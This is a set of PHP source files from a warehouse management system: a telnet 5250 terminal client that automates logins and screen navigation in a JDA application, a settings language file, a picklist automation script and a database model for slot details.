if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
break;
case SF:
if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
$start = $idx-1;
$field_format = ord($stream[$idx++]);
$field_control = ord($stream[$idx++]);
$field_attrib = ord($stream[$idx++]);
$field_length = ord($stream[$idx])*256 + ord($stream[$idx+1]) ; $idx+=2;
#$data = substr($stream,$idx,$field_length); $idx += $field_length;
$end = $idx;
#$this->screen_write($data);
// Save to Table Stack
$this->tablestack .= substr($stream,$start,$end-$start);
break;
case RA:
if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
$end_row = ord($stream[$idx++]);
$end_col = ord($stream[$idx++]);
$char_byte_1 = $stream[$idx++];
// write the same char up to end_row, and end_col
$this->screen_write_to_pos($char_byte_1,($end_row*SCR_COLS) + $end_col);
// save command to keystack
$this->keystack .= substr($stream,$idx-4,4);
break;
case ESC_CODE: // if we find an escape code then we are done.
if($this->debugLvl > 1) echo "\n found escape 0x".dechex($order_code)."\n";
$not_done = false;
$idx--;
break;
case READ_SCREEN: // read the screen
break;
case SAVE_SCREEN: // save the screen
if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
//$this->clear_screen();
break;
default: // assumes this is data
$this->screen_write($stream[$idx -1]);
// save to keystack
$this->keystack .= $stream[$idx -1];
break;
}
// if we see the end of record then we are done.
if(ord($stream[$idx]) == 0xff &&ord($stream[$idx+1]) == 0xfe){
$not_done = false; # if idx < len of stream, then runCommands will continue processing the stream
$idx += 2;
}
} while($not_done && $idx < $length);
return $idx;
}
function runCommands(&$stream){
$len = strlen($stream);
if($this->debugLvl > 0) echo "\nrunCommand processing stream of $len bytes\n";
$idx = 0;
$not_done = true;
do{
$byte = ord($stream[$idx++]);
if($this->debugLvl > 0) echo dechex($byte)." ";
if($byte == 4){ // found the escape code
if($this->debugLvl > 0) echo "\n\tfound escape code 0x".dechex($byte)."\n";
// parse command
// get the command code
$command_code = ord($stream[$idx++]); // set cursor to next byte
if($this->debugLvl > 0) echo "\n\tprocessing command code 0x" .dechex($command_code)."\n";
switch($command_code){
case CLEAR_UNIT:
// run a command to clear the screen
$this->clear_screen();
break;
case WRITE_TO_DISPLAY:
$wtd_control_character_byte1 = ord($stream[$idx++]); // usually 0x00
$wtd_control_character_byte2 = ord($stream[$idx++]); // a byte of flags
$idx = $this->process_order_code($stream,$idx); # assignement not necessary because $idx passed by reference
if($this->showAfter) print_r($this->screen);
break;
case READ_MDT_FIELDS:
$wtd_CC_byte_1 = ord($stream[$idx++]);
$wtd_CC_byte_2 = ord($stream[$idx++]);
break;
case WRITE_STRUCTURED_FIELD:
$wsf_length_byte_1 = ord($stream[$idx++]);
$wsf_length_byte_2 = ord($stream[$idx++]);
$wsf_class = ord($stream[$idx++]);
$wsf_type = ord($stream[$idx++]);
$wsf_flags = ord($stream[$idx++]);
$this->reply_wsf_query();
break;
case WRITE_TO_DISPLAY_STRUCTURED_FIELD:
$wdsf_length_byte_1 = ord($stream[$idx++]);
$wdsf_length_byte_2 = ord($stream[$idx++]);
$wdsf_class = ord($stream[$idx++]);
$wdsf_type = ord($stream[$idx++]);
$wdsf_flag = ord($stream[$idx++]);
$wdsf_flag_reserved_byte_1 = ord($stream[$idx++]);
$wdsf_flag_reserved_byte_2 = ord($stream[$idx++]);
$wdsf_window_depth = ord($stream[$idx++]);
$wdsf_window_width = ord($stream[$idx++]);
$wdsf_length = ord($stream[$idx++]);
$wdsf_minor_type= ord($stream[$idx++]);
$wdsf_flag_2 = ord($stream[$idx++]);
$wdsf_border_mono_attrib = ord($stream[$idx++]);
$wdsf_border_color_attrib= ord($stream[$idx++]);
$wdsf_border_char_ul = ord($stream[$idx++]);
$wdsf_border_char_top = ord($stream[$idx++]);
$wdsf_border_char_ur = ord($stream[$idx++]);
$wdsf_border_char_left = ord($stream[$idx++]);
$wdsf_border_char_right = ord($stream[$idx++]);
$wdsf_border_char_ll = ord($stream[$idx++]);
$wdsf_border_char_bottom = ord($stream[$idx++]);
$wdsf_border_char_lr= ord($stream[$idx++]);
$wdsf_length_2 = ord($stream[$idx++]);
$wdsf_minor_unknown = ord($stream[$idx++]);
break;
case READ_SCREEN_OP:
case READ_SCREEN:
$this->reply_read_screen();
break;
case SAVE_SCREEN_OP:
$this->reply_save_screen();
break;
default:
break;
}
}
} while($not_done && $idx < $len);
}
function clear_screen(){
$this->screen="";
for($row = 0; $row<SCR_ROWS; $row++)
for($col = 0; $col<SCR_COLS; $col++)
$this->screen .=" ";
$this->keystack = "";
$this->tablestack = "";
$this->pos = 0;
}
/**
* checks to see if $str is found in the stream. Sets jdatelnet::message if string is found and a 2nd paramater is passed.
*
* @param string $str
* @param message $message
* @return bool
*/
function streamCheck($str,$message=''){
if(strpos($this->stream,$str)){
$this->message = $message;
return true;
} else {
return false;
}
}
/**
* checks to see if $str is found in the screen. Sets jdatelnet::message if string is found and a 2nd paramater is passed.
*
* @param string $str
* @param message $message
* @return bool
*/
function screenCheck($str,$message=''){
if(strpos($this->screen,$str) > 0){
$this->message = $message;
return true;
} else {
return false;
}
}
/**
* checks to see if $str is found in the screen. Sets jdatelnet::message if string is found and a 2nd paramater is passed.
*
* @param string $str
* @param message $message
* @return bool
*/
function screenWait($str, $tries=3){
$sockets = array("jda" => $this->fp);
$write = array();
$read = $except = $sockets;
if($this->debugLvl > 0) echo "Waiting for $str ";
$ctr = 0;
do{
echo ".";
if($this->screenCheck($str,"Waiting for $str")){
if($this->debugLvl > 0) echo "+\n";
return true;
} else {
if($this->debugLvl > 0) {
echo "not found\n";
echo $this->screen;
echo "\n";
}
# sleep for 1 second then quickly check for a response
sleep(1);
stream_set_blocking($this->fp,0);
$this->getResponse();
stream_set_blocking($this->fp,1);
}
$ctr++;
}
while($ctr < $tries);
return false;
}
/**
* private method: outputs the command and resulting stream/screen. called by write when jdatelnet::debug is true
*
* @param unknown_type $command
*/
function debugOutput($command){
if(substr($command,0,1)==chr(27)){
echo "<br>\n".date("h:i:s ")."Key Sent:[".$this->keys[$command]."] ";
} else {
echo "<br>\n".date("h:i:s ")."Key Sent:".$command;
}
echo "\r\n";
echo $this->getScreen().chr(13).chr(10).chr(13).chr(10);
}
/**
* Closes the telnet connection
*
*/
function close(){
fclose($this->fp);
}
/**
* Enter description here...
*
* @param int $start
* @param int $length
* @return string
*/
function parsestream($start,$length){
return trim(substr($this->stream,$start,$length));
}
function getCursor(){
$col = $this->pos % $this->screencol;
return array('row'=>floor($this->pos/$this->screencol),'col'=>$col);
}
function maxChars($str,$max){
if(strlen($str)>=$max) return substr($str,0,$max);
else return $str.FIELDEXIT;
}
function screenWrite($str){
// echo "POS:".$this->pos." str:".$str."|"." strlen:".strlen($str)."\r\n";
$this->screen = substr_replace($this->screen,$str,$this->pos,strlen($str));
$this->pos += strlen($str);
}
function getScreen($singleLine=false){
if($singleLine==true) return $this->screen;
else {
$i = 0;
$str = "";
while($i<2000){
$str .= substr($this->screen,$i,$this->screencol)."\n";
$i += $this->screencol;
}
return $str;
}
}
function getScreenRow($x){
$rows = explode("\n",$this->getScreen());
return $rows[$x];
}
function getScreenSection($row,$start,$len){
return trim(substr($this->getScreenRow($row),$start,$len));
}
function writeItems($startRow,$endRow,$start,$length,$selectedCodes,$backtoStart){
if(!is_array($selectedCodes)) return;
$totalcounter = 0;
while( count($selectedCodes)>0 && $totalcounter<6 ){ // loop for as long as there are still unmatched codes
$totalcounter ++;
if($notfirst){
$this->write(PGDN,true); // scroll to next set
// do we need to move the cursor back up?
} else $notfirst = true; // set variable for next loop
$rows = explode("\n",$this->getScreen());
for($i=$startRow;$i<=$endRow;$i++){
if(count($selectedCodes)==0) break;
$code = trim(substr($rows[$i],$start,$length));
// echo "CODE FOUND IS ".$code;
// echo "\r\n\r\n";
// $key = array_search($code, $selectedCodes);
if(isset($selectedCodes[$code])){ // match is found. hit x key and remove code from array selectedCodes
// echo $selectedCodes[$code];
// echo "\r\n\r\n";
$this->write($selectedCodes[$code]);
unset($selectedCodes[$code]);
// array_splice($selectedCodes,$key,1);
if($i==$endRow){ // do key strokes to move back up
$this->write($backtoStart);
}
} elseif($i==$endRow) { // if last row and item is not to be selected... do key strokes to move back up
for($j=$endRow;$j>$startRow;$j--){ // hit the up key as many times as there are rows
$this->write(UP);
}
} else { // if items is not to be selected then move down to next item.
$this->write(DOWN);
}
//print_r($selectedCodes);
}
}
}
}
?>
<file_sep><?php
return array(
'heading_title' => 'System Settings',
'heading_title_insert' => 'New Settings',
'heading_title_update' => 'Update Settings',
'text_success_insert' => 'Successfully created new settings!',
'text_success_update' => 'Successfully updated the settings!',
'text_success_delete' => 'Successfully deleted the selected settings!',
'option_upc' => 'UPC',
'option_sku' => 'SKU',
'option_details' => 'Go to UPC/SKU Detail Page, and default the editable quantity to be equal with the expected quantity',
'option_increment' => 'Immediately increment the quantity of the scanned item',
'option_details_list' => 'Go to UPC Detail Page',
'option_increment_list' => 'Increment Quantity',
'col_id' => 'No.',
'col_brand' => 'Brand',
'col_product_identifier' => 'Product Identifier to Use',
'col_product_action' => 'When Item is Scanned...',
'col_action' => 'Action',
'button_insert' => 'Add New Settings',
'button_delete' => 'Delete Settings',
'entry_brand' => 'Brand:',
'entry_product_identifier' => 'Product Identifier to Use:',
'entry_product_action' => 'When Item is Scanned:',
);<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class picklist extends jdaCustomClass
{
private static $formMsg = "";
private static $lagging = false;
public static $user = 'SYS';
public static $warehouseNo = "7000 ";
/*13
19
23
ENTER warehouse_no: 9005
TAB: Enter doc_no: 243
TAB: Enter From Seq_no: 1
TAB: Enter To Seq no: 1
Enter store_no: 20
TAB: Enter carton_id: TXT000001
TAB: Enter warehouse_clerk: SYS
F6 (if error about completion add +1 to date completed then F6 again)
PER ITEM: Enter quantity_moved (loop)
F7
F10
ENTER warehouse_no: 9005
TAB: Enter doc_no: 243
TAB: Enter From Seq_no: 2
TAB: Enter To Seq no: 3
Enter store_no: 20
TAB: Enter carton_id: TXT000002
TAB: Enter warehouse_clerk: SYS
F6 (if error about completion add +1 to date completed then F6 again)
PER ITEM: Enter quantity_moved (loop)
F7
F10
so on..
F1*/
// Note: BUG ON ERROR UPDATE SYNC STATUS, exceeds
private static function enterPickingMenu()
{
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Picklist', 'jda_action' => 'Closing');
// format: php picklist.php {docNo} {$boxNo} {$palletNo} {$loadNo}
$document_nos = $db->getJdaTransactionPicklist($jdaParams);
if(! empty($document_nos) )
{
$getPicklist = $db->getPicklistInfo($document_nos);
print_r($getPicklist);
$picklist = new picklist();
$params = array();
foreach($getPicklist as $detail)
{
$params = array(
'document_number' => $detail['move_doc_number'],
);
if($validate)
{
$validateDetail = $picklist->enterFormDetails($detail);
if($validateDetail)
{
$picklist->save($params);
}
}
}
$picklist->logout($execParams);
}
else
{
/*echo " \n No rows found!. Proceed to Box Header Creation\n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step1', $formattedString);*/
}
$db->close(); //close db connection<file_sep><?php //namespace App\Classes\JDABridge;
include_once "ebcdic.php";
class jdatelnet {
/**
* telnet connection
*
* @var resource
*/
var $fp;
/**
* IP Address of the jda telnet server
*
* @var unknown_type
*/
var $ip = '172.16.1.1';
/**
* Message generated by the scripts. Can be used to return messages resulting from keystroke entries
*
* @var string
*/
var $message = '';
/**
* Contains the data returned by the last write command with getresponse = true
*
* @var unknown_type
*/
var $stream = '';
var $completeStream = '';
var $completeKeys = '';
/**
* Set to True to output all streams returned by write() where getresponse = true
*
* @var bool
*/
var $debugLevel = 0;
var $screen = "";
var $pos = 0;
var $timeout = 300; // set to 5 minutes
/**
* Contsructor. Establishes telnet session
*
* @param string $ip
* @param int $time_out
* @return jdatelnet
*/
public function __construct($ip=null,$time_out=300000){
if(!is_null($ip)) $this->ip = $ip;
$this->fp = fsockopen($this->ip,23);
if(!$this->fp){
// did not connect so do not do anything
echo " did not connect";
return $this->fp;
}
stream_set_timeout( $this->fp, 0,$time_out);
$this->write(chr(0xFF).chr(0xFB).chr(0x1F).chr(0xFF).chr(0xFB).
chr(0x20).chr(0xFF).chr(0xFB).chr(0x18).chr(0xFF).chr(0xFB).
chr(0x27).chr(0xFF).chr(0xFD).chr(0x01).chr(0xFF).chr(0xFB).
chr(0x03).chr(0xFF).chr(0xFD).chr(0x03).chr(0xFF).chr(0xFC).
chr(0x23).chr(0xFF).chr(0xFC).chr(0x24).chr(0xFF).chr(0xFA).
chr(0x1F).chr(0x00).chr(0x50).chr(0x00).chr(0x18).chr(0xFF).
chr(0xF0).chr(0xFF).chr(0xFA).chr(0x20).chr(0x00).chr(0x33).
chr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0x2C).chr(0x33).
chr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0xFF).chr(0xF0).
chr(0xFF).chr(0xFA).chr(0x27).chr(0x00).chr(0xFF).chr(0xF0).
chr(0xFF).chr(0xFA).chr(0x18).chr(0x00).chr(0x58).chr(0x54).
chr(0x45).chr(0x52).chr(0x4D).chr(0xFF).chr(0xF0));
$this->write(chr(0xFF).chr(0xFC).chr(0x01).chr(0xFF).chr(0xFC).
chr(0x22).chr(0xFF).chr(0xFE).chr(0x05).chr(0xFF).chr(0xFC).chr(0x21),1);
// clear the keystrokes logged during initialization
$this->completeKeys = '';
$this->keys = array(
'F1' => chr(27).'1'
,'F2' => chr(27).'2'
,'F3' => chr(27).'3'
,'F4' => chr(27).'4'
,'F5' => chr(27).'5'
,'F6' => chr(27).'6'
,'F7' => chr(27).'7'
,'F8' => chr(27).'8'
,'F9' => chr(27).'9'
,'F10' => chr(27).'0'
,'F11' => chr(27).'-'
,'F12' => chr(27).'='
,'F13' => chr(27).'!'
,'F14' => chr(27).'@'
,'F15' => chr(27).'#'
,'F16' => chr(27).'$'
,'F17' => chr(27).'%'
,'F18' => chr(27).'^'
,'F19' => chr(27).'&'
,'F20' => chr(27).'*'
,'F21' => chr(27).'('
,'F22' => chr(27).')'
,'F23' => chr(27).'_'
,'F24' => chr(27).'+'
,'PGUP' => chr(27).'[5~'
,'PGDN' => chr(27).'[6~'
,'UP' => chr(27).'[A'
,'DOWN' => chr(27).'[B'
,'REFRESH' => chr(27).'5'
,'DELETE' => chr(127)
,'TAB' => "\t"
,'BACKTAB' => chr(27)."\t"
,'ENTER' => "\r\n"
,'FIELDEXIT' => chr(27).'x'
,'1' => chr(27).'x'
,'2' => chr(27).'x'
,'3' => chr(27).'x'
,'4' => chr(27).'x'
,'5' => chr(27).'x'
,'END' => chr(27).'x'
);
$this->keys = array_flip($this->keys);
define('F1',chr(27).'1');
define('F2',chr(27).'2');
define('F3',chr(27).'3');
define('F4',chr(27).'4');
define('F5',chr(27).'5');
define('F6',chr(27).'6');
define('F7',chr(27).'7');
define('F8',chr(27).'8');
define('F9',chr(27).'9');
define('F10',chr(27).'0');
define('F11',chr(27).'-');
define('F12',chr(27).'=');
define('F13',chr(27).'!');
define('F14',chr(27).'@');
define('F15',chr(27).'#');
define('F16',chr(27).'$');
define('F17',chr(27).'%');
define('F18',chr(27).'^');
define('F19',chr(27).'&');
define('F20',chr(27).'*');
define('F21',chr(27).'(');
define('F22',chr(27).')');
define('F23',chr(27).'_');
define('F24',chr(27).'+');
define('PGUP',chr(27).'[5~');
define('PGDN',chr(27).'[6~');
define('UP',chr(27).'[A');
define('DOWN',chr(27).'[B');
define('REFRESH',chr(27).'5');
define('DELETE',chr(127));
define('TAB',"\t");
define('ENTER',"\r\n");
define('BACKTAB',chr(27)."\t");
define('FIELDEXIT',chr(27)."x");
define('1',chr(27)."x");
define('2',chr(27)."x");
define('3',chr(27)."x");
define('4',chr(27)."x");
define('5',chr(27)."x");
define('END',chr(27)."x");
}
/**
* Write a 5250 data stream
*/
function write5250($words,$aid=ENTER,$getresponse=false,$delayresponse=0,$seekstr=null){
$aid_row_byte = chr(FLOOR($this->pos/SCR_COLS));
$aid_col_byte = chr($this->pos % SCR_COLS);
$order_code_sba = chr(0x11);
$data_string = "";
if(is_array($words)){
foreach($words as $word){
if(is_array($word)){
$string = myasciitoebcdic($word[0]);
if($this->debugLvl > 1) {
echo "converted string ";
print_r(urlencode($string));
echo "\n data string ";
}
$row_byte = chr($word[1]);
$col_byte = chr($word[2]);
$data_string .= $order_code_sba; // Write to Display
$data_string .= $row_byte;
$data_string .= $col_byte;
$data_string .= $string;
$aid_row_byte = $row_byte;
$aid_col_byte = chr($word[2] + strlen($string));
}
}
}
$header="";
$length_byte_1=chr(0);
$length_byte_2=chr(0);
$record_type_byte_1 = chr(0x12);
$record_type_byte_2 = chr(0xA0);
$flags_byte_1 = chr(0x00);
$flags_byte_2 = chr(0x00);
$var_rec_length = chr(0x04);
$sna_flags = chr(0x00);
$reserved_field = chr(0x00);
$operation_code = chr(0x03);
$attention_identifier = $aid;
$escape_code = chr(0x04);
$end_of_record_byte_1 = chr(0xff);
$end_of_record_byte_2 = chr(0xef);
$binary_string = $record_type_byte_1 . $record_type_byte_2 . $flags_byte_1 . $flags_byte_2 . $var_rec_length .$sna_flags . $reserved_field ;
$binary_string .= $operation_code . $aid_row_byte . $aid_col_byte . $attention_identifier;
$binary_string .= $data_string;
$binary_string .= $end_of_record_byte_1;
$binary_string .= $end_of_record_byte_2;
$length = strlen($binary_string);
$length_byte_1 = chr(floor($length/256));
$length_byte_2 = chr($length%256);
$binary_string = $length_byte_1 . $length_byte_2 . $binary_string;
$this->write($binary_string,$getresponse,$delayresponse,$seekstr);
}
// =================================================================================================
// =================================================================================================
/**
* Write a 0 padded number.
*
* @param date $date
* @param bool $getresponse
* @param bool $flushbuffer
*/
function writePaddedDate($date, $getresponse=false, $delayresponse=0) {
if (is_null($date) || strlen($date) == 0) $this->write('00000000', $getresponse,$delayresponse);
else $this->write(date('00mdy', strtotime($date)), $getresponse,$delayresponse);
}
function writePaddedFloat($number, $length, $getresponse=false, $delayresponse=0) {
$pad = '0'; $type = 's';
$x = "%". $pad . $length . $type;
$this->write(sprintf($x, $number),$getresponse,$delayresponse);
}
/**
* Write a 0 padded number.
*
* @param int $number
* @param int $length
* @param bool $isString
* @param bool $getresponse
* @param bool $flushbuffer
*/
function writePadded($number, $length, $isString=false, $getresponse=false, $delayresponse=0) {
if ($isString) { $pad = '- '; $type = 's'; }
else { $pad = '0'; $type = 'd'; }
$x = "%". $pad . $length . $type;
$this->write(sprintf($x, $number),$getresponse,$delayresponse);
}
// =================================================================================================
// =================================================================================================
/**
* login to jda application and specify library
*
* @param string $username
* @param string $password
* @param string $env
* @return bool
*/
function login($username,$password,$env=''){
// if($this->debugLevel==2) $this->write(REFRESH,true);
// login
$this->write($username." ".$password."\r\n",true,3);
if($this->screenCheck('does not exist','Invalid user')){
return false;
} elseif($this->screenCheck('Password not correct for user profile','Invalid Password')){
return false;
} elseif($this->screenCheck('cannot sign on','User not allowed to sign in')){
return false;
} elseif($this->screenCheck('F9=Change password','Login Successful')){ // login successful
// don't need to do anything just want to be able to see if the string exists on the stream
} else {
$this->message = 'Unknown error during login';
return false;
}
// go past the first screen
$this->write("\r\n",true);
if($this->screenCheck('is allocated to another job')){ // message is displayed if user is already connected
if($this->screenCheck('Press Enter to continue')){ // if user is allowed multiple users then just hit enter to continue
$this->write("\r\n",true);
} else {
$this->message = "User is logged in from another device and is not allowed multiple logins.";
return false;
}
}
$this->write($env."\r\n",true);
while($this->screenCheck("Press Enter to continue."))
$this->write(ENTER,true);
if($this->screenCheck('MAIN MENU','Main Menu Selected')){
return true;
} else {
$this->message = "Did not reach Main menu";
return false;
}
}
/**
* Write to the telnet session. pass $getresponse=true if you want the results of the write operation to be written to jdatelnet::stream. Pass flushbuffer=true if you want to flush what previous keystrokes have written to the buffer. You will only need to flush the buffer it he previous keystroke did not do a getresponse
*
* @param unknown_type $str
* @param unknown_type $getresponse
* @param unknown_type $flushbuffer
*/
function write($str,$getresponse=false,$delayresponse=0,$seekstr=null){
$this->completeKeys .= $str;
if(!$this->fp){
// while the time away cuz no connection
echo "no connection";
}
else{
fwrite($this->fp,$str);
if($seekstr==null){
if($getresponse&&$delayresponse>0) sleep($delayresponse);
if($this->debugLevel==2||($this->debugLevel==1&&$getresponse)) {
$this->getResponse($seekstr);
$this->debugOutput($str);
} elseif($getresponse) {
$this->getResponse();
}
}
else{
echo "looking for $seekstr<br>\n";
if($getresponse){
$timeout = 30;
$found = false;
$originalStart = $start = time();
if($delayresponse =0) $delayresponse = 2;
do{
$this->getResponse($delayresponse);
if(!$found && $this->screenCheck($seekstr)){
$found = true;
$timeout = (time()-$start)+1; // stop within the next second
}
if(!$found && time() < ($originalStart + $timeout) && $this->screenCheck("X SYSTEM")){
$start = time(); // reset start while the X SYSTEM button is on
if($this->debugLevel==2)
echo "resetting start time\n";
}
$nowtime = time() - $start;
if($this->debugLevel==2)
echo "Waiting for $nowtime > $timeout \n";
}while((time() - $start) < $timeout);
}
if($this->debugLevel==2||($this->debugLevel==1&&$getresponse)) {
$this->debugOutput($str);
}
}
}
}
/**
* used to pass special keys to telnet such as function keys
*
* @param string $key
* @param bool $getresponse
* @param bool $flushbuffer
*/
function key($key,$getresponse=false,$delayresponse=0){
$this->write(constant($key),$getresponse,$delayresponse);
}
/**
* getResponse processes the responses from the AS
*
*
*
* @param string $seekstr : look for this str, if it appears, then done with getting a response
*/
function getResponse($timeout=20){
$data = "";
$start = time();
if($this->fp){
do {
$pass = fgets($this->fp);
$data .= $pass;
} while (($pass!=""||$data=="")&&(time()-$start)<$timeout);
}
$this->completeStream .= $this->stream = $data;
$this->updateScreen();
}
function get3Response(){
//if($_SERVER['OS']=='Windows_NT') sleep(2); //usleep doesn't work on windows machines
//else usleep(100000);
// $data = "";
// $ctr = 0;
// while(substr($data,-1)!="H"){
// $ctr ++;
// $pass = fgets($this->fp,5);
//
// if($pass!="") echo "\n".$ctr.":".$pass;
// $data .= $pass;
// }
$data = "";
$ctr = 0;
do{
$pass = fread($this->fp,4024);
if($pass!=""){
// echo "\n".$ctr.":".$pass;
$data .= $pass;
$ctr = 0;
} else $ctr ++;
} while(substr($data,-1)!="H"||$ctr<6000);
// $pass = fread($this->fp,5);
// if($pass!="") echo "\npacket returned:".$pass;
$this->completeStream .= $this->stream = $data;
// sleep(1);
// ;
$this->updateScreen();
}
function updateScreen(){
$data = explode(chr(27)."[",$this->stream);
foreach ($data as $val){
$this->parseCommand($val);
}
}
/**
* checks to see if $str is found in the stream. Sets jdatelnet::message if string is found and a 2nd paramater is passed.
*
* @param string $str
* @param message $message
* @return bool
*/
function streamCheck($str,$message=''){
if(strpos($this->stream,$str)){
$this->message = $message;
return true;
} else {
return false;
}
}
/**
* checks to see if $str is found in the screen. Sets jdatelnet::message if string is found and a 2nd paramater is passed.
*
* @param string $str
* @param message $message
* @return bool
*/
function screenCheck($str,$message=''){
if(strpos($this->screen,$str)){
$this->message = $message;
return true;
} else {
return false;
}
}
/**
* private method: outputs the command and resulting stream/screen. called by write when jdatelnet::debug is true
*
* @param unknown_type $command
*/
function debugOutput($command){
if(substr($command,0,1)==chr(27)){
echo "<br>\n".date("h:i:s ")."Key Sent:[".$this->keys[$command]."] ";
} else {
echo "<br>\n".date("h:i:s ")."Key Sent:".$command;
}
echo "\r\n";
// echo chr(13).chr(10)."Raw Stream Returned:".$this->stream.chr(13).chr(10).chr(13).chr(10);
// $lastchar = substr($this->stream,-1,1);
// echo chr(13).chr(10)."Last Character is:".ord($lastchar).":".$lastchar.chr(13).chr(10).chr(13).chr(10);
echo $this->getScreen().chr(13).chr(10).chr(13).chr(10);
}
/**
* Closes the telnet connection
*
*/
function close(){
fclose($this->fp);
}
/**
* Enter description here...
*
* @param int $start
* @param int $length
* @return string
*/
function parsestream($start,$length){
return trim(substr($this->stream,$start,$length));
}
function parseCommand($str){
// echo $str."\r\n";
$params = "";
$command = "";
$len = strlen($str);
for($i=0;$i<$len;$i++){
$char = substr($str,$i,1);
if(ord($char)>63){
$params = substr($str,0,$i);
$command = $char;
break;
}
}
$this->doCommand($command,$params);
$string = substr($str,$i+1);
// if($command=="m"&&$params=="7") $string = str_replace(" ","#",$string);
// elseif($command=="m"&&$params=="4") $string = " ".substr(str_replace(" ","_",$string),1);
// elseif($command=="m"&&$params=="4") $string = substr($string,0,1).str_replace(" ","_",substr($string,1));
$this->screenWrite($string);
}
function getCursor(){
//return array('row'=>floor($this->pos/80),'col'=>bcmod($this->pos,80));
$col = $this->pos % 80;
return array('row'=>floor($this->pos/80),'col'=>$col);
}
function doCommand($c,$p){
$params = explode(";",$p);
switch ($c){
// erase sequences
case "J":
if($params[0]==2) $this->screen = str_repeat(" ",2000); // clear entire screen
elseif($params[0]==1) $this->screen = substr_replace($this->screen,str_repeat(" ",$this->pos),0,$this->pos); //clear screen before cursor
elseif($params[0]==0) $this->screen = substr_replace($this->screen,str_repeat(" ",2000-$this->pos),$this->pos,2000-$this->pos); // clear screen after cursor
break;
case "@"://Insert n blank spaces
break;
case "K"://Erase line: after cursor (n=0), before cursor (n=1), or entirely (n=2).
break;
case "L"://Insert n new blank lines
break;
case "M"://Delete n lines from cursor
break;
case "P"://Delete n characters from cursor
break;
//cursor movement
case "G"://Move cursor to column x
$params[1] = $params[0];
$params[0] = ceil($this->pos/80);
case "H"://Move cursor to column x, row y
case "f"://Move cursor to column x, row y
// echo $c."(".$p.")\r\n";
if(!isset($params[1])) $params[1] = 1;
$this->pos = ($params[0]-1)*80 + $params[1] - 1;
break;
case "A"://Move cursor up n lines
$this->pos -= $params[0]*80;
break;
case "B"://Move cursor down n lines
$this->pos += $params[0]*80;
break;
case "C"://Move cursor forward n spaces
$this->pos += $params[0];
break;
case "D"://Move cursor backward n spaces
$this->pos -= $params[0];
break;
case "d"://Move cursor to row y
break;
// default:
// echo $c."(".$p.")\r\n";
// break;
}
}
function maxChars($str,$max){
if(strlen($str)>=$max) return substr($str,0,$max);
else return $str.FIELDEXIT;
}
function screenWrite($str){
// echo "POS:".$this->pos." str:".$str."|"." strlen:".strlen($str)."\r\n";
$this->screen = substr_replace($this->screen,$str,$this->pos,strlen($str));
$this->pos += strlen($str);
}
function getScreen($singleLine=false){
if($singleLine==true) return $this->screen;
else {
$i = 0;
$str = "";
while($i<2000){
$str .= substr($this->screen,$i,80)."\n";
$i += 80;
}
return $str;
}
}
function getScreenRow($x){
$rows = explode("\n",$this->getScreen());
return $rows[$x];
}
function getScreenSection($row,$start,$len){
return trim(substr($this->getScreenRow($row),$start,$len));
}
function writeItems($startRow,$endRow,$start,$length,$selectedCodes,$backtoStart){
if(!is_array($selectedCodes)) return;
$totalcounter = 0;
while(count($selectedCodes)>0&&$totalcounter<6){ // loop for as long as there are still unmatched codes
$totalcounter ++;
if($notfirst){
$this->write(PGDN,true); // scroll to next set
// do we need to move the cursor back up?
} else $notfirst = true; // set variable for next loop
$rows = explode("\n",$this->getScreen());
for($i=$startRow;$i<=$endRow;$i++){
if(count($selectedCodes)==0) break;
$code = trim(substr($rows[$i],$start,$length));
// echo "CODE FOUND IS ".$code;
// echo "\r\n\r\n";
// $key = array_search($code, $selectedCodes);
if(isset($selectedCodes[$code])){ // match is found. hit x key and remove code from array selectedCodes
// echo $selectedCodes[$code];
// echo "\r\n\r\n";
$this->write($selectedCodes[$code]);
unset($selectedCodes[$code]);
// array_splice($selectedCodes,$key,1);
if($i==$endRow){ // do key strokes to move back up
$this->write($backtoStart);
}
} elseif($i==$endRow) { // if last row and item is not to be selected... do key strokes to move back up
for($j=$endRow;$j>$startRow;$j--){ // hit the up key as many times as there are rows
$this->write(UP);
}
} else { // if items is not to be selected then move down to next item.
$this->write(DOWN);
}
//print_r($selectedCodes);
}
}
}
function display($screen,$width=80){
global $scrCounter;
$scrCounter++;
printf("%04d",$scrCounter);
for($i = 4; $i<$width; $i++){
echo "-";
}
echo "\n";
print_r(chunk_split($screen,$width));
for($i = 0; $i<$width; $i++){
echo "-";
}
echo "\n";
}
function show()
{
$this->display($this->screen);
}
}
?><file_sep><?php
class SlotDetails extends Eloquent {
protected $table = 'slot_details';
public static function getSlotDetailsMain($data = array()) {
$query = DB::table('slot_details')
->select(DB::raw('wms_slot_details.slot_id, wms_slot_details.sku, wms_product_lists.upc, wms_product_lists.short_description, SUM(wms_slot_details.quantity) as total_qty, MIN(wms_slot_details.expiry_date) as early_expiry'))
->join('product_lists', 'slot_details.sku', '=', 'product_lists.upc', 'LEFT');
if( CommonHelper::hasValue($data['filter_slot_no']) ) $query->where('slot_id', 'LIKE', '%'.$data['filter_slot_no'].'%');
if( CommonHelper::hasValue($data['filter_prod_sku']) ) $query->where('slot_details.sku', 'LIKE', '%'.$data['filter_prod_sku'].'%');
if( CommonHelper::hasValue($data['filter_prod_upc']) ) $query->where('product_lists.upc', 'LIKE', '%'.$data['filter_prod_upc'].'%');
if( CommonHelper::hasValue($data['filter_date_from']) && CommonHelper::hasValue($data['filter_date_to'])) $query->whereBetween('expiry_date', array($data['filter_date_from'] . ' 00:00:00', $data['filter_date_to'] . ' 23:59:59'));
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='slot_no') $data['sort'] = 'slot_id';
if ($data['sort']=='sku') $data['sort'] = 'slot_details.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='quantity') $data['sort'] = 'total_qty';
if ($data['sort']=='expiry_date') $data['sort'] = 'early_expiry';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.short_description';
$query->orderBy($data['sort'], $data['order']);
}
